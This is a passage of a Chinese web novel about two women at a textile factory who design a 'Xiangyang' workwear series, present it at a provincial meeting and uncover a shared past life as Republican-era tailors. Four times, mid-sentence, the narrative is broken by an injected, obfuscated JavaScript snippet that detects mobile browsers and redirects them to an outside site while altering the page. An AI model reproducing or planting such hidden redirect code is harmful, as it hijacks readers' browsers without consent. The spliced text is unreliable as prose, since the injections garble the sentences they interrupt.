王大志一字一句的强调:“从今天起，你们不准再接私活，以前我睁只眼闭只眼就罢了，现在这个可是个要紧事。搞砸了你们懂得……” 从办公室出来，苏念初缓了口气:“这王八羔子要吓死人啊，气氛搞得这么紧张。” 林知许笑着回应道:“没事没事，有我在呢” “不过这个事情，不好做吧，要是搞砸了关乎的可是整个厂子，这王八羔子这是这替罪羊呢。有功劳，他就占一头，有罪责直接就压到我们身上了。”苏念初说着说着还有些来气。 接下来的日子，她们就专心在这事上。 王大志这人关键时候还挺靠谱，给她们在厂里安排了一个独立的工作间，位置就在技术科旁边。虽然不大，但采光还不错，还配了一台不错的缝纫机，这待遇史无前例。 消息传开，厂子里人多口杂，避免不了被讨论一番。 “我们这些老职员了，都没落得这么好的待遇。” “就是就是，两个小女娃，凭什么有什么好的待遇啊” “还有啊，听说王主任还给她们安排了那个交流会呢，还有那个设计也交给她们了。” “两个加起来都比我大不了多少的人，我不信她们有这个本事。” …… 有些话没到耳边，就当吹吹风，偏偏几位老师傅偏要让她们两知道。 几位老前辈，在邻桌吃饭的时候，声音不大不小的，正巧被她们听到。 “现在的女娃娃，可有本事了，心高高气傲傲的，屁股都要翘到天上去咯。” “这话说的还真是，咱们半辈子都搭上了，都不如人家会说话会办事呢。” “她们好像不太相信我们。”苏念初小声和林知许说道。 林知许拍了拍她的肩膀，笑意绵绵:“这个有什么啊，当初我们就是这么过来的你忘了吗？” “那倒是。” “随她们说去，我们拿的出作品来就行。” —— 这次的任务总结而言，就是两点:一是要有工艺创新，要能量产。二是要展示出特色里让大家记住这个服装。 两人晚饭后，在工作间待着继续干活。 林知许用铅笔在构图草图，苏念初翻找过往的纺织厂稿子，寻找灵感。 她翻找了很久，在一众画稿之中找到了一个老式女工装。 “你看，这个老式的女工装，简直就是翻版的男装吧，版型不行穿上去秒胖一圈。” 林知许接过画稿，一个念头闪过。 “我们可以设计一套‘新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908295|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时代女工装’，你意下如何？” “我觉得可行”苏念初肯定的点了点头。 林知许接着说道:“我的初步想法是根据女性的需求出发，构造一件实用而有美观的衣服。” 苏念初听到这个想法，也有了一些自己的见解:“还可以设计不同层级，上下班结合的那种，通过简单调整，就可以实现上下班切换穿搭。” “对对对，你想法不错啊，这样就是实用有了，美观也有了。一举两得啊。” …… 两人越说越起劲，不知不觉第一缕阳光照进了工作间。 一套新鲜的方案出炉:三套不同的女工装，以及搭配不同的休闲款式。 经过林知许和苏念初的共同商议，命名为“向阳系列”——向阳而生。 方案提交给王大志后，他盯着设计图看了很久。 还是一脸严肃:“只有图纸怎么行，要尽快做出实物来才行。” 接下来的十天，她们尽力去做好一件实物。 从选布料到打版再到裁剪最后的缝制环节，都是精益求精。 王大志还跟老师傅打了招呼，让她们也都尽力帮忙。 几个老师傅，基本都是不太看好的，都不太愿意帮忙。 有次在裁剪一种新到的混纺布料时，林知许有些犯难。这种布料质地特殊，传统的裁剪方法会导致边缘起毛。她试了几次都行不通，有些愁眉苦脸。 这时，刘师傅经过。 刘师傅看了一会儿，突然开口:“你这样剪多久都没办法剪好的，这个是有技巧的。” 她自然的拿过剪刀，示范了一下独特的裁剪法。 林知许边听边看:“你看啊，这个手腕的转法，是要顺着纹理的方向走。这是老早前的，没多少人学这种了。” “刘师傅，好手艺，可否冒犯问一句您这手艺是跟谁学的？”她忍不住问。 刘师傅手上的动作顿了一下：“我师傅教的。她解放前在上海的裁缝店做过学徒。” 说完，她盯着林知许看了一会，“你的有些手法，让我想起我师傅提起过的一家很特别的店。” 林知许猜到了她的话外之意，故意打哈哈:“是吗？巧合而已吧。” 在刘师傅的帮助下，裁剪问题顺利解决。 距离出发去省城还有三天时，“向阳系列”的第一套样衣完成了。 一件浅蓝色的女工装 ，设计加有暗扣，通过暗扣可以解开，可以翻出一个装饰性的外服。袖口，腰身方面都有改良，更适合女性装扮。 王大志看到实物时，露出了笑容。 他难得地夸了一句:“不错，不过我还是希望你们能够尽快赶出一整个系列来。” 林知许说:“我们会努力的，只不过有些东西厂里没有。” “需要什么？” 苏念初拿出设计图:“比如这种特殊的扣子，还有配套的腰带扣。” “我们打听过了，省城才有卖。” 王大志低头思考片刻：“那这样吧，你们就先去省城看看。一个是买好需要的配件，二来是熟悉熟悉环境。” 他拿出一张纸条，说道:“这是我一个朋友的地址，他在省城轻工局工作，如果真遇上点困难，他肯定会帮上忙。” 这个安排正和她们的心意，两人相视一笑。 5. 第 5 章 出发前夜，两人一同在屋内收拾各自的行李。 林知许收拾东西时，一不小心碰掉了放在木箱子上的纽扣。 纽扣顺着缝隙，掉到了箱子角落里。 她俯身蹲下，伸手去箱子底捡纽扣。 先摸到的不像是纽扣，那触感更像是纸张。 她从里掏出来瞧上了一眼，还真是一本泛黄的日记本。 第一页有些破损，字迹有些不清。 大致认得出来这几个字——云想阁日志。 她拿着这本子，叫停了在一旁收拾行李的苏念初。 苏念初走到她旁边，指着这个本子问了一句:“这是什么？” “这是我刚刚捡纽扣的时候，意外发现的一个本子。” 苏念初有些好奇:“那快打开看看，说不定又记载着什么重要的东西。” 那本日志，不过十几页，翻开看时，前几页都是记录着一些工作日常。 【民国二十一年十一月初六 天气转凉，梧桐叶落，恰巧落到了我的脚边。 筠霞先一步到，生了炉子，屋里暖烘烘的。 今日，张太太的那件紫色旗袍收了尾。 有个学生，下午来的时候和筠霞聊起了做新的学生装。 我在一旁，边听边构想她想要的样式。 简单画了几个样子，最终敲定了那款微收腰的款式。】 【冬月初 初雪 筠霞从家里带来了炖的鸡汤，拿布包裹了好几层。 她一路小跑过来的，生怕晚了就凉了。 她跑步的样子，还真是可爱。 下午的时候，江先生过来取西装，还特意多给了一块大洋。 他留过洋，说外国人都兴对自己满意的服务多给些钱。 如此看来，我们这生意也是得到了认可。】 …… 翻开一页又一页，粗略看了几眼，翻到了最后留有字迹的一页。 【民国二十八年 战争在即，我与筠霞共同商议确定关店南下。】 苏念初一副思考状，皱着眉:“所以前世的时候，我们两共同关了店。” 林知许回应道:“可是如果只是关了店，又怎么会牵扯到现在？” “或许我们前世还有很多羁绊呢，你说是不是啊，林大小姐。” 苏念初突然就不正经了起来，开始用挑逗的语气说着这些话。 林知许敲了一下苏念初脑壳:“去你的，继续收拾东西吧，明天还得早起赶火车。” 两人躺在床上，苏念初自从没了智能手机后，一早就睡过去了。 而林知许，这晚倒是难眠。 迷迷糊糊的不知是在梦里，还是又是重现前世的记忆。 —— 那女子走在她的前头，回头和她说着:“兰芷，快点儿，等会就赶不上好玩的了。” 她笑着跑上前，牵起了她的手。 不知走了多久，她们来到了一处很是热闹的地方。 她们去逛了一圈庙会，两人同时说着要买块桂花糖尝尝。 …… “兰芷，我们有缘再会。” 那女子说完这话，就离开了。 而她站在原是云想阁的店铺前，站了好久才走。 …… 场景闪现到此，两人真正分开的原因，似乎还是个未解之谜。 第二天，天刚蒙蒙亮，两人拿着大包小包的行李准备赶往火车站。 路上的时候，遇见一家早点铺。 老板是一个热情的中年妇女，看到两人拎着行李走，和两人问了好。 “你们两个小姑娘，这是要去好远的地方嘛，要不要来我这里吃个饭再走啊。” 两人原本打算快步去赶火车，就朝着她摆了摆手。 手上是拒绝的，这肚子偏偏不争气，发出了抗议的声音。 两人同时听到对方的咕咕叫，不禁笑出了声。 苏念初顺势说道:“那我们还是去吃一个吧，到时候饿了都不知道走多远才能找着吃的。” 听此话，两人一同走向了店。 老板见两人准备来吃，快走两步帮两人拎行李。 “两位小姑娘，准备吃点什么啊？” 苏念初回应着:“来两碗面，一碗不要放葱，她不爱吃，谢谢老板。” “好嘞~” 面刚端上来，老板就忍不住多问了一句:“你们两是要去哪里啊？” 苏念初答应了一句:“省城”。 一提起“省城”二字，老板眼里突然就亮了。 “省城好啊，我有个女儿就在省城上大学嘞。听说那边现在可好了，热闹的很，还有那种高高的百货大楼，稀罕的嘞……” 两人临走前，付了钱。 老板还特意多送了她们两馒头，说是看到和自己女儿年纪相仿的觉得亲切，两人不好推辞便收下了。 走了四十分钟的路，可算是到了火车站。 广场上黑压压的一片，有挑着扁担的、有背包的、有抱着孩子的…… 铁路工作人员拿着喇叭喊，那声音早就掩埋到了人群之中。 苏念初拉着林知许的袖子，挨着她小声说道:“我们可不能走散了，走散就麻烦了。” 进了候车厅，烟味、汗味各种味道混杂。长椅上坐满了人，苏念初和林知许找了一处角落蹲下。 这里人来人往，有人欢喜有人愁。 约莫二十分钟，广播声响起:各位旅客请注意，开往省城的K95列车已经开始检票，请大家由于排队在第二检票口检票…… 一群人，哗一下就涌入了检票口。 苏念初和林知许手拉得更紧了，生怕一个不留神就走散了。 好不容易上了车，行李架堆满了行李，过道上也挤满了人。 “让一下”这三字喊的都快嗓子冒烟了，这才走到自己的座位。 刚坐下，对面一个穿着中山西装，另一个穿着碎花裙。看样子，像是一对小情侣。 那女子见两人穿的衣服不错，就主动和她们搭了话。 “那个，我能不能问一下你们的衣服是在哪里买的啊？” 苏念初一听，就知道是生意找上了门。 “这是我们自己做的。” 那女子激动回应着:“你们好厉害啊，那你们能给我做一件嘛，我可以付钱的。” “当然可以了，而且我们还能做一些特殊的设计保准你的和我们的不一样但绝对美观……” 林知许用手轻轻肘击了一下苏念初，她这才停止了话匣子。 林知许凑到她耳边说:“你都没问清楚人家是哪里的，就先答应了人家，要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908296|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家在很远的地方，你怎么送去啊。” 忘了这茬，光钻到钱眼里，失了算。 苏念初小声询问道:“我能问问你家在哪里吗？” 那女子笑着回应道:“我家是南城的。” 苏念初听到这话，缓了口气。 “那敢情好啊，等回了南城，你想要什么款式的衣服都可以来找我。” 她边说，还一边从口袋里掏出一张小卡片，用旧报纸的空白写的地址。 这是她在现代时，早就有的习惯，到哪里都会准备几张名片。 林知许有些晕，靠在窗边迷迷糊糊的睡了一觉。 依稀能听见些苏念初和对面那女子的交谈声，但不知具体的话。 她又一次进入了幻境，那场景貌似是前世的碎片。 —— 两人坐在火车上，看着窗外的景色。 “兰芷，你看这里，很像我家那边的田。” “田不都一个样吗？” “不一样，林大小姐还真是不谙世事呢。” “我听你说过，你家是江城的。” 那一刻，看着她愣住的样子，心里大概是在想念着一个远方。 …… 火车穿过隧道，一下子就暗了下来，她的耳边也感觉到了有些不适。 睁开眼时，发现自己靠在了苏念初的肩上。 迷迷糊糊的，又闭上了眼。 再醒来时，车内的工作人员拿着喇叭喊:“大家注意了，省城要到了，请要下车的乘客提前做好准备，不要落下了东西了。” 刚出站，有位相貌堂堂的男子叫住了她们。 “你们是省城来参加交流会的吗？” 他从何得知这个消息，这年头骗子可太多了，还得小心为好。 两人本想径直走开，那人又添了一句:“我不是坏人，我叫江遇白，我母亲和你们王主任是朋友。” 两人想了一会，想起了确实是有这么个事情，不过还是半信半疑。 “我真的不是坏人，我给你们看一张照片吧。” 他为了自证，还拿出了一张照片。 那张照片是王主任和他的合照，看样子是真认识。 苏念初放下了心，回应着:“怎么不早点拿出来，差点以为刚出门就要遇到骗子了。” 林知许对这人倒是产生了一种莫名的敌意，总感觉这人和她天生不对付。 那人送她们到招待所，留下了一个电话号码就先离开了。 进了招待所，两人刚坐下。 苏念初就忍不住问她:“这一路上，你都没怎么说话，你咋个了。” “我没怎么啊，倒是你看到个长得还不错的，就一直想着法子和人家聊。” “怎么你吃醋啊？” “去你的，在我这里除了搞钱什么都不重要。” 苏念初依着她，没再继续挑逗:“好好好，我也觉得搞钱才是正事。” “不过，你离他远点吧，总感觉他哪里怪怪的。” “知道啦~” 她脑子有些乱，那些记忆碎片一闪而过。 —— 一男子站在云想阁的门口，而她和筠霞站在“云想阁”的牌匾之下。 “两位笑一个，我来给你们记录一下。” 她看不清那男子的长相，只感觉熟悉。 6. 第 6 章 隔日，两人起了个大早。 到了一个新地方，自然是对当地有些好奇。 前些天，苏念初打听布料的时候，顺带打听一些省城的事情。 城西头，有一个民间市场，里面就和现代的小摊夜市一样。 林知许看到了一家卖桂花糖的，驻足半刻。 苏念初见状停下，顺着她的方向瞧见了那家店。 苏念初轻声问道:“想吃桂花糖吗？” 林知许点了点头，苏念初从口袋里拿出钱包，拿在手上甩了一下:“姐请客，咱现在就去。” 她牵起林知许的手，直奔那家卖桂花糖的。 买了糖，两人在路上交谈。 苏念初有些疑惑:“我记得你以前是不吃糖的，还说什么怕胖，怎么突然想吃糖了。” 林知许沉默了片刻:“以后你会明白的。” “干嘛啊，你怎么突然神叨叨的，要不要我找个道士。” …… 两人在街上打闹了一阵，有来有回。 两人走到一家国营布店，这才想起正事。 那家店的门口，摆着一个小黑板，上面写有一行字——新到涤卡、灯芯绒，凭票供应。 买了布，两人又回了招待所。 招待所的前台小妹叫住两人，“刚刚有人找，但看你两不在就又回去了，就留下了一张纸条。” 【下午两点，记得去轻工局二楼生产科报到】 写信人:江遇白 —— 午后，两人带着样衣来到轻工局。 一进大门，看到的是栋苏式建筑，鹅卵石低。 再往里走，进到二楼生产科，里面坐着一个男人见到二人放下了手里的文件。 她看着五十出头，戴着一副黑框眼镜，中山装口袋别着一根钢笔。 苏念初将介绍信递给了她，那人看了后。 一脸笑意:“早就听王主任提起你们，你们先坐下吧。” 两人在靠墙的沙发下落座，客套了几句。 江主任适才进入正题：“这次的交流会，你们王主任应该早就和你们说过了。这次的交流会，是近年来规格还算较高的，除了省内还有其他省的领导过来视察。” 她扶了一下眼镜，接着说道:“听说你们搞了一整个系列，挺有想法的，就是不知道你们有没有准备好怎么展示自己的设计。” 苏念初笑着答应:“我们准备的差不多了，可以简单展示一下。” 林知许从包里拿出样衣，简单整理了一了一下。 江主任仔细看了样衣，上手触碰了几下。 她低声:“你这版型设计确实和传统的不太一样，腰身都设计的不错。” 她指着袖口和口袋的设计，赞叹道:“这些可拆卸、可转换的细节，真是巧妙。” 林知许应答:“这是我们考察过的，将传统工艺和新工艺相结合的。” 江主任抬眼:“什么样的传统工艺，方便细说吗？” 林知许不紧不慢的的道：“比如裁剪和肩部的设计，都是参考了一些老裁缝的。” 江主任盯着她看了几秒，忽然问了一句很突兀的话:“你姓林？” 林知许有些疑惑但还是认真回应了一句:“双木林。” 她意味深长的点了点头，没再继续追问。 “你们干的不错，不过我能做的就是提醒你们一句。第三天展示的时候，会有领导视察。” 她从抽屉里拿出两个证件，交代了一句:“这是你们参会要用的，记得收好。” 临走前，她塞给了两人一张参会名单，用红笔圈出了几个名字。 —— 回到招待所，已是傍晚。两人吃着米饭就着咸菜，商量着交流会的事。 交流会第一天一早，她们就去看了场地，好在她们的展示是在第三天，还有机会做进一步的准备。 南城纺织厂的展位在C区，此C非彼C，偏得很，要想引起注意要下不少功夫。 两人参观了一圈，看到有一个厂子已开始了布置。 一个中年男人，头发梳得油亮，一通指挥工人。 林知许仔细看了那人的长相，一种莫名的熟悉感袭来。 她们还来不及走，就碰巧被那个男人叫住。 “两位同志，也是来参加交流会的吗？” 林知许不耐烦的回了一句:“我们是南城的。” “南城好啊，国营大企业，你们真是厉害啊……” 听着不像是恭维，更像是轻视。 苏念初怎么听都不得劲，真觉得不是个滋味。 林知许抢先一步回应:“我们就是来学习的，要继续去学习了，再见。” 接下来两天，她们除了改良设计和布置展位，就是去各展位参观学习。 林知许在每个展位都停留很久，这里的每一个展位都有挺独特的技艺展示。 第二天下午，在苏州刺绣厂的展位，她看到一位头发花白的老太太正在绣一幅牡丹图。针起针落，花瓣显现，很是生动。 “老师傅，您这针法真是厉害，能告诉我什么针法吗？”林知许忍不住开口。 老太太抬起头，透过老花镜看她：“小姑娘对刺绣干兴趣？” 林知许说:“看您这花瓣的过渡，像是用了‘抢针’打底，‘套针’晕色，最后用‘滚针’勾边？” 老太太抬眼看了她良久：“你回答的不错，正是如此。” “你是哪里来的？” “南城。” 老太太感叹道:“这些老技艺，现在的年轻人知道不多，我想问一下你师从何处？” 林知许回应道:“家里人教过有些。” 老太太打量着她：“那你听说过一个裁缝吗，她姓林。” 林知许心里一紧:“不知您说的是……” 老太太轻声说:“林兰芷，从前开了一家店取名‘云想阁’。” 周围的声噪杂，却盖不住她的心跳声。 林知许缓了一会开口:“好像之前听说过。” 老太太盯着她看了好一会，笑着：“挺好啊，听说明天你们厂里会展示，想瞧瞧你的手艺。” 她客套的回了一句:“您能来那我肯定是很欢迎的，谢谢您的支持。” 林知许说了声再见，就走开了，老太太的目光还停留在她的身上。 刚走到苏念初的身边，她就把苏念初拉到了一处角落。 苏念初不解，疑惑的看着她:“你咋了，发生啥了？” 林知许深吸一口气:“又碰到了一位认识我们的人，准确来说是前世的我们。” 她们沉默了一阵，心知这里又会有新的身世之谜待解开。 —— 交流会第三天上午，各厂子的成衣展示有序进行。 会议大厅能容纳大约五百人，前排是局领导和各厂领导，后面是技术人员。 林知许和苏念初在后台准备，多多少少能听到讲解声和点评声。 前面几个单位展示，大多都是集中在材质和工艺上的改良。 轮到她们时，主持人报幕：“接下来，南城纺织厂展示她们的新时代女工装——向阳系列。” 台下一阵鼓掌声，底下人都有些不耐烦，毕竟已听了一个多小时，早就疲乏。 林知许和苏念初走上台，两人都穿着“向阳系列”的样衣。 林知许穿的是浅蓝色工装，苏念初是鹅黄色的。 苏念初开口暖场:“在场的各位领导，各位同志，大家上午好!” 林知许开口，平静温和:“大家都知道工作装在设计这个方面层出不穷，说新鲜的到也没多新鲜。我们想展示的是一个新理念，工装改良也可以和生活相结合……” 台下静了不少，有几位领导频频点头。 苏念初接着介绍设计背景：“衣服用于人民，当然就要按照人民的需求来制作。我们走访了厂里的女工，根据她们的需求改良了女工装……由此而诞生了向阳系列，向阳而生，花开四季。” 林知许展开设计图板，讲解版型改进的过程。她讲得很细，用词通俗易懂。 讲到关键点时，请了台下一位中年妇女上台展示。 演示完毕改进过程，苏念初开始展示如何通过暗扣转换工装。 便捷式的转换，所有转换都在两分钟内完成，不需要借助工具，全靠暗扣和设计转换拆解。 林知许做最后的总结:“我们的想法是让每一位女性工作者，在工作中可以舒适方便，在生活中又能展示自己。工装也可以美观大方，迎合自身的需求。” 前排的领导带头鼓掌，还有几位低声交谈，点头示好。 展示环节结束，接下来是提问环节。 大家的问题都集中在工艺方面，具体环节遇到的困难之类的。 两人大方回应，简单明了。 问答进入尾声，一人从后排站起，大声说道:“我有一个问题。” 那人正是前天见过的，他拿着一件自家的样衣，一件改良的中式服装。 “刚刚听了林同志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908297|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲了那么多理念，我感觉有些花里胡哨，我想问一下实在的工艺质量，和你说的那些理念那个更重要？” 他展示自己的衣服设计，做工，讲述着其中细节。 “我们这个做工，在各个细节方面都有改良，虽说算不得最好，也算得上是实在的工艺，而南城纺织厂的展示，似乎更注重理念。我想请问，在实际生产中，你们这些设计，能保证这样的工艺水准吗？” 这问题明显是找她们的麻烦，可以说是明着挑刺。林知许看着他，目光锁定在他手里的那件样衣。 那衣服的针脚设计，都仿制的传统的样式，有一种熟悉之感。 林知许没有半分慌张，回直面了他的问题 “工艺制品，自然工艺重要，一个理念也承载着一种新的工艺，所以我并不认为它们是可以进行比较的关系。冒昧问一句，你觉得什么是好的工艺？” 她走到那人的面前，“能否给我看看你的样衣。” 那人愣了一下，还是顺手递给了她。 林知许接过衣服，从里到外，各个细节都仔细观察了一遍。 忽地，她顿了一下。 在左侧缝合处，有一小点的污点。那个位置的针线缝合，与其它有着明显的不同，内行人一眼就知。 林知许抬起头，目光犀利:“同志，你的这件衣服，是自家做的还是厂里的量产。” 那人明显急了，不耐烦的说道:“你什么意思，这当然是我们的老师傅亲手缝制的。” “你先别急，正好借着这个机会，我想给大家简单演示一下基础工作。” 她示意苏念初推上来一个检疫工作台，上面摆着各种工具和几块布料。 “刚才的那件样衣让我想起一个问题，衣服为何容易缩水不耐穿，最关键的还是最开始的环节。” 她开始演示，从面料选材到裁剪环节，用浅显的语言讲解。 林知许最后补了一句:“再好的楼层设计，一开始的地基不稳，最终的结果只有一个——坍塌。” 台下的那人，脸色立马青了些，低下了头。 整体展示环节，正式宣告结束。。 下台后不久，江主任特意走过来，拍拍林薇的肩膀：“讲得不错，年轻有为啊。” “谢谢江主任。” 江主任压低声音:“部里的领导来了，她对你们的设计还蛮感兴趣的，提前做一下准备，她可能要来问一下情况。” 两人点了点头，心里有了主意。 —— 下午，她们在展位上向大家展示她们的样衣。 那位老太太来了，她戴着老花镜，继续的看每一件样衣，看各处的细节。 她喃喃道:“这针法，真是不错。” 她抬起头，看着林知许：“小姑娘，你家里人可是姓林。” 林知许沉默片刻，轻声说：“家母正是姓林。” 老太太深深的看着她，像是见到故人一般。 “难怪，你的模样和她如此相像。” 她从随身携带的包里拿出一个手帕，递给林知许：“这个交给你，我想应该是没错了。” 林知许接过，打开手帕。 里面是一枚银质的胸针和一张纸条，上面有着云纹的样式。 胸针背面，刻着两个小字：芷赠。 老太太开口:“这是林兰芷送我母亲的，想必你听说过这个名字。我母亲叫沈青岚，当年在苏州开绣庄，和林兰芷是至交。这枚胸针，是她们最后一次见面时，林兰芷送的。我母亲特意交代过，如果遇上了林家后人，就把这个交给她。” 林知许握着胸针，良久开口:“您怎么如此确信是我？” 老太太笑了:“有些东西，外人模仿不来的。你的针法，还有各种老法子都和我母亲当年的那本笔记里记的一样。” 她拉着林知许的手，轻声言：“姑娘好好干。林老如果知道，她的传人将她的手艺传了下去，一定会很欣慰的。” 林知许站在原地，沉思良久。 苏念初从外面回来，带回了一包桂花糖和两个馒头，一壶水。 看到那枚胸针，问了一句:“我就一会不在，你又从哪里弄来的宝贝，送给我的吗？” 林知许缓了会神，凑到她耳边:“这是昨天的老太太给她的，她说这是林兰芷的遗物。” 苏念初一惊一乍的，“不是吧，她不会发行吧” 林知许摇头，“那到没有，她觉得我们应该是后人。” 前世的技艺，今世的传承，都承载着工艺设计的重量。 7. 第 7 章 省城秋夜渐凉，招待所的房间里点着一盏昏黄的台灯。 林知许和苏念初二人坐在床前，打开了那张纸条。 【若得云想重现，吾之心愿也】 林知许喃喃低语:“我总感觉当年关店有隐情，我们现在所收到的信物都在印证着这一点。” “这个到不清楚，不过今天那个什么厂长是真令人讨厌。” 一提起这厂长，两人信号对接成功，讨论个不停。 无非就是今天他那个下不来场的事情，其他的倒要不必深究。 她们一向如此，对事不对人。 过了会，两人埋头收拾行李，准备回南城。 两人搭配，干活不累，三两下就收拾得利索，上了床，关了灯。 —— 夜深人静之时，必是记忆浮现之际。 这是她这些天，反复实践得出的结论。 她闭上眼，思绪乱糟糟的，那些场景并没有像往常一样自然的显现。 奇怪，这下真是辗转难眠。 —— 回到南城的当天，厂里的气氛微妙。 林知许和苏念初刚走进厂门，门卫张叔叫住了二人。 “你们两个刚回来吧，我跟你们说啊，你们在省城的表现厂子里的人都知道了，真是给我们争气……” 他说着说着就激动了站了起来，从桌上拿了些酥糖塞到二人的手里。 “前不久我闺女结婚，一直没机会给你们，这个给你们。” 两人接过糖，自然的回应了一句:“谢谢张叔。” 刚进纺织厂里，王主任就把两人叫到了办公室。 交代一些具体事项，这次的省城之行的收获诸如此类。 刚到生产科门口，立马传来了争吵声。 其中一个声音一听，就是张彩凤。 在门口，两人碰巧遇上了刚才和张彩凤吵起来的那位小姑娘。 那姑娘跟两人描述了一下当时的场景，以及对话。 张彩凤一副瞧不上的模样，又在酸言酸语。 “我们这里出了两个大人才咯，又是省城开会，又是表彰的，真是威风哦，也不知道她们到底使了什么手段。” 有一个刚成年的女孩，开口回怼道:“哪比得上你啊，三十岁的人了还一事无成，干十来年了还是这样频频犯错。” “跟我作对，你有什么好处，我舅舅是厂里的老人了，谁不知道。” 她那趾高气扬的样，神色间都透露着“我是关系户，我骄傲”。 “有什么了不起的，天天就知道聊一些有的没的，谁乐意听啊。” “嘿!你这个小姑娘，不乐意听就滚回家啊。” 两人的碰撞只停留在口角之中，未曾动手。 她也不屑与张彩凤动手，这是关键。 就这样，她扭头就走了。 —— 第二天午饭后，王主任召开了一次会议。 王主任坐在主位，旁边是郑书记，还有一些其他部门的负责人。 林知许和苏念初被安排在靠前的位置，这还是第一次。 王主任开门见山:“这次省城交流会的情况，相信大家都多少听说过，林知许和苏念初两人表现不错，‘向阳系列’得到了认可。厂里商量过量产的事情，你们怎么看。” 底下议论纷纷，大家对此也不好摆到明面上讲。 王主任见状:“你们有什么问题要摆在台上，这才好解决，好落实。” 一个戴着银框眼镜的男人，率先开口提问:“我知道量产说是件好事，可是真要量产的话，成本方面，工艺标准方面有考量吗？最重要的是咱们这个厂能不能做？” 这些问题都很实在，好在王主任事先做了准备。 王主任示意林知许讲解，她接过暗示站起身道:“陈科长，我和苏同志昨晚连夜整理了资料，从成本到工艺方面的考量都有初步的判定。” 她继续讲解内容，苏念初在一旁给各位分发资料。 陈科长接过资料，仔细翻看没再说话。 这时一位厂里的几十年的老师傅，缓缓开口:“小林同志，我知道你的设计很讲究，我也是见识过一些可是我们厂要批量生产的话，这些未免太过复杂，很难保证效率和质量吧。” 这话一出，气氛凝重，所有人齐刷刷的看向林知许。 林知许直面回应:“刘师傅说的不无道理，‘向阳系列’的生产方面确实会是个大问题，我们初步计划是小范围的生产。它是作为工装的一种，并非完全去取代所有的女工装。” 苏念初补了一句:“就像是自选菜，可供选择的那种。” 林知许走到黑板前，在会议的黑板上画了个草图:“我们可以划分任务，流水线的作业和标准件分开来，再固定重组。” 刘师傅盯着图看了好一会，问了一句:“你这个设计是怎么想出来的。” 林知许冷静作答：“一些是自己琢磨的，还有一些是参考了一些以前的资料。 刘师傅目光盯着她紧，半天才开口:“你这个设计手法，我以前见过，我师傅就是这样干的。” 郑书记皱眉:“刘师傅，你是不是扯远了。” 刘师傅认真回复:“小林，这手艺难得有的，如果真是传承下来的，那自然是要问个明白的，毕竟传统手艺不能丢。” 这时，一些人的目光回落在林知许的身上。 她缓口气，不急不躁的说道：“刘师傅真是厉害啊，我们家确实是有家传的技法，我母亲传给我的。” “你母亲可是姓林。” “是的。” 刘师傅盯着她看了几秒，点点头：“姓林，那就对了。” 她没再继续追问，直到会议结束都在保持沉默。 会议总结：成立“向阳系列试产小组”，林知许当组长，苏念初为副组长，其他科的人员配合调动。 散会后，王大志叫住林知许：“刘师傅说的那些，你也别想太多，她就是很注重传统，老派人了。”” “明白，我就干好该干的。” —— 第二天一早，场面热闹。 从前都是张彩凤八卦别人的分，如今回旋镖落到她自己的头上。 那位刚成年的女孩，正是厂长的千金，之前一直在外地，最近才回来的。 她来原本是想体验生活，那曾想碰上张彩凤这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908298|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个拿着鸡毛当令箭的人，自然是忍无可忍。 厂长亲自过来坐镇，处分了张彩凤。 也是从那天起，她安分了不少。 林知许和苏念初就是当中的围观群众，看到张彩凤从趾高气扬到话都憋不出来一句，实在有趣。 苏念初在一旁吐槽道:“关系户对上硬茬，可不就是鸡蛋碰上了石头了，该!” 今天这场戏，还真是大快人心。 “本小姐有赏，今天我们买肉吃如何呢？” 一向如此，苏念初负责掌管钱财，林知许负责安心花钱。 “那我可得宰一顿，吃牛肉吧。” “好，本小姐今日心情尚佳，当然可以。” “那波士顿龙虾，西餐厅呢？” “去你的，林大小姐又在开玩笑了。” “苏大小姐，明明是财~大~气~粗~哪里会计较这点小钱。” “又不是只有我的，你个败家的。” “是的也对，吃点白菜意思一下吧。” “白菜多贵，我们吃我家里带的咸菜配馒头，又省钱又顶饱。” —— 